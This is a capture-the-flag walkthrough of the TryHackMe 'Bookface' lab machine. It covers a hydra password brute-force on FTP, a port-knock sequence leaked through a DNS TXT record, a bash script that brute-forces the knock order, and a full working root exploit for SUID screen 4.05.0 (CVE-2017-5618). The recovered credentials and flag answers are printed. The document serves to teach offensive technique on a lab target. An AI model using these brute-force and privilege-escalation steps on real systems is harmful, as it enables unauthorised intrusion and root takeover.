Bookface
Bookface is a small TryHackMe box with a lot of open ports and very few honest ones. It chains a weak FTP password, a DNS record that leaks a port-knock sequence, and a classic SUID screen bug. Four flags, one fun puzzle in the middle.
jerry on FTP with hydra, pull the knock ports from a DNS TXT record for bookface.com, brute-force the knock order to open SSH, then abuse SUID screen-4.05.0 (CVE-2017-5618) to get root.Background reading
These tools and bugs all show up in this CTF, so it’s worth skimming them first:
- hydra
- screen and CVE-2017-5618
- knock
- Port knocking as a “security” method
Recon
As usual, I started with nmap.
nmap -F --top-ports 10 -sV 10.10.219.90
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-10 16:37 CET
...
Nmap scan report for 10.10.219.90
Host is up (0.38s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp closed ssh
23/tcp open telnet?
25/tcp open smtp?
80/tcp open http?
110/tcp open pop3?
139/tcp open netbios-ssn?
443/tcp open https?
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server?Lots of “open” ports, but only FTP gave back a real banner: vsftpd 2.0.8 or later. SSH is closed, which will matter later.
FTP: flag 1
The room description gives away the developer’s name, Jerry. That’s a username, so I pointed hydra at FTP with rockyou.
$ hydra -ljerry -P /usr/share/dict/rockyou.txt ftp://10.10.219.90 -t 16 -vV
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-02-10 16:28:50
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344409 login tries (l:1/p:14344409), ~896526 tries per task
[DATA] attacking ftp://10.10.219.90:21/
[ATTEMPT] target 10.10.219.90 - login "jerry" - pass "" - 1 of 14344409 [child 0] (0/0)
[ATTEMPT] target 10.10.219.90 - login "jerry" - pass " " - 2 of 14344409 [child 1] (0/0)
...
[ATTEMPT] target 10.10.219.90 - login "jerry" - pass "prumpy" - 1 of 1 [child 0] (0/0)
[21][ftp] host: 10.10.219.90 login: jerry password: prumpy
[STATUS] attack finished for 10.10.219.90 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-02-10 16:28:01
And voilà, the password is prumpy. Time to log in as jerry:prumpy and see what’s inside.
$ ftp 10.10.219.90
Connected to 10.10.219.90.
220 TryHackMe Networking CTF!
Name (10.10.219.90:burso): jerry
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> passive
Passive mode on.
ftp> ls
227 Entering Passive Mode (10,10,219,90,89,219).
150 Here comes the directory listing.
-rwxr-xr-x 1 0 0 33 Feb 23 2019 flag1
-rw-rw-r-- 1 1001 1001 141 Feb 23 2019 note
226 Directory send OK.
ftp> get flag1
...
226 Transfer complete.
ftp> get note
...
226 Transfer complete.Two files: the first flag and a note.
$ cat flag1
79eb173ecb02d12d6d4832881be2cf23- FLAG1: 79eb173ecb02d12d6d4832881be2cf23
$ cat note
Jerry, I finally got a chance to update our internal social media platform (bookface.com).
Can you signup and like my doggo photos?
ThanksDNS: flag 2 and the knock ports
The note mentions a domain, bookface.com. I tried a few DNS record types against the box and the TXT record was the jackpot: a flag plus a list of ports.
host -t txt bookface.com 10.10.219.90
Using domain server:
Name: 10.10.219.90
Address: 10.10.219.90#53
Aliases:
bookface.com descriptive text "Ports: 6786 9893 8748 3443 - Who cares about order tho right?"
bookface.com descriptive text "Flag2:a17f17ba86d8271da60ed8436667f412"- FLAG2: a17f17ba86d8271da60ed8436667f412
Port knocking: brute-forcing the order
“Who cares about order tho right?” Well, port knocking does. So I wrote a quick script that tries the combinations, knocks, and checks whether port 22 opened.
port-knocking-enumeration.sh:
#!/bin/bash
porta=(8748 3443 6786 9893)
portb=(6786 9893 8748 3443)
portc=(9893 8748 3443 6786)
portd=(3443 6786 9893 8748)
ip="10.10.213.66"
for a in ${porta[@]}; do
for b in ${portb[@]}; do
for c in ${portc[@]}; do
for d in ${portd[@]}; do
echo "$a $b $c $d"
knock $ip $a $b $c $d && nmap -p 22 $ip 2>&1 | grep "open" && echo "[SUCCESS!!] $a $b $c $d" && exit
sleep 1
done
done
done
donesleep 1 matters. Knock daemons track sequences per source IP with a timeout, so firing attempts back to back can mix up two sequences and give you false negatives.Let’s brute-force it:
Full script output
$ ./port-knocking-enumeration.sh
8748 6786 9893 3443
8748 6786 9893 6786
8748 6786 9893 9893
8748 6786 9893 8748
8748 6786 8748 3443
8748 6786 8748 6786
8748 6786 8748 9893
8748 6786 8748 8748
8748 6786 3443 3443
8748 6786 3443 6786
8748 6786 3443 9893
8748 6786 3443 8748
8748 6786 6786 3443
8748 6786 6786 6786
8748 6786 6786 9893
8748 6786 6786 8748
8748 9893 9893 3443
8748 9893 9893 6786
8748 9893 9893 9893
8748 9893 9893 8748
8748 9893 8748 3443
8748 9893 8748 6786
8748 9893 8748 9893
8748 9893 8748 8748
8748 9893 3443 3443
8748 9893 3443 6786
8748 9893 3443 9893
8748 9893 3443 8748
8748 9893 6786 3443
22/tcp open ssh
[SUCCESS!!] 8748 9893 6786 3443...
8748 9893 6786 3443
22/tcp open ssh
[SUCCESS!!] 8748 9893 6786 3443The right order is 8748 9893 6786 3443. A quick check confirms SSH is now reachable:
$ knock 10.10.213.66 8748 9893 6786 3443 && nmap -sV -p22 10.10.213.66
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-10 19:55 CET
Nmap scan report for 10.10.213.66
Host is up (0.11s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
...(The IP changes between snippets because the machine was restarted along the way.)
SSH: flag 3
The SSH password is the same as on FTP, of course ;)
$ knock 10.10.213.66 8748 9893 6786 3443 && ssh jerry@10.10.213.66
jerry@10.10.213.66's password:
Welcome to Ubuntu 16.04.5 LTS (GNU/Linux 4.4.0-1072-aws x86_64)
...
Last login: Sat Feb 23 22:17:39 2019 from 10.0.0.20
jerry@ip-10-10-213-66:~$We’re in. Next flag:
jerry@ip-10-10-213-66:/home$ find / -name "flag3" 2>/dev/null
/home/flag3
jerry@ip-10-10-213-66:/home$ cat /home/flag3
dd059316033c59f00057e5552140f831- FLAG3: dd059316033c59f00057e5552140f831
Privilege escalation: flag 4
The last flag needs root. A good first move is listing binaries with the setuid bit set:
jerry@ip-10-10-140-162:/etc$ find / -perm -u=s -type f 2>/dev/null
/snap/core/5742/bin/mount
/snap/core/5742/bin/ping
/snap/core/5742/bin/ping6
/snap/core/5742/bin/su
/snap/core/5742/bin/umount
/snap/core/5742/usr/bin/chfn
/snap/core/5742/usr/bin/chsh
/snap/core/5742/usr/bin/gpasswd
/snap/core/5742/usr/bin/newgrp
...
/bin/umount
/bin/fusermount
/bin/ntfs-3g
/bin/ping
/bin/su
/bin/ping6
/bin/screen-4.5.0/screen-4.05.0
/bin/mountOnly screen has a version number in its file name, which is a big hint.
screen 4.05.0 running SUID root lets you create its log file (-L) anywhere, with root ownership. Write /etc/ld.so.preload, point it at your own shared library, and the next SUID binary you run loads your code as root.When hunting for public exploits, stick to trusted sources so you get an exploit and not malware. Exploit-DB from Offensive Security is my go-to, and it has one for this.
The exploit builds two things: a library whose constructor makes /tmp/rootshell SUID root, and the root shell itself. Then screen writes the library path into /etc/ld.so.preload.
$ cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
$ gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
$ ls /tmp/
$ cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
$ gcc -o /tmp/rootshell /tmp/rootshell.c
$ cd /etc/
$ umask 000
$ screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
$ /bin/screen-4.5.0/screen-4.05.0 -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
$ /tmp/rootshellRoot! Grab the last flag:
# cat /root/flag4
6b873b86b1f3eb170554af54fddb8267- FLAG4: 6b873b86b1f3eb170554af54fddb8267
Wrap-up
- Reused, guessable passwords (
jerryon FTP and SSH) were the root of the whole chain. - Port knocking is obscurity, not security, especially when the sequence sits in a public DNS record.
- Always check SUID binaries for odd names and versions;
screen-4.05.0is a well-known root. - Get public exploits from trusted sources like Exploit-DB and read them before running.
I hope you enjoyed the game and learned something new. Bye ;)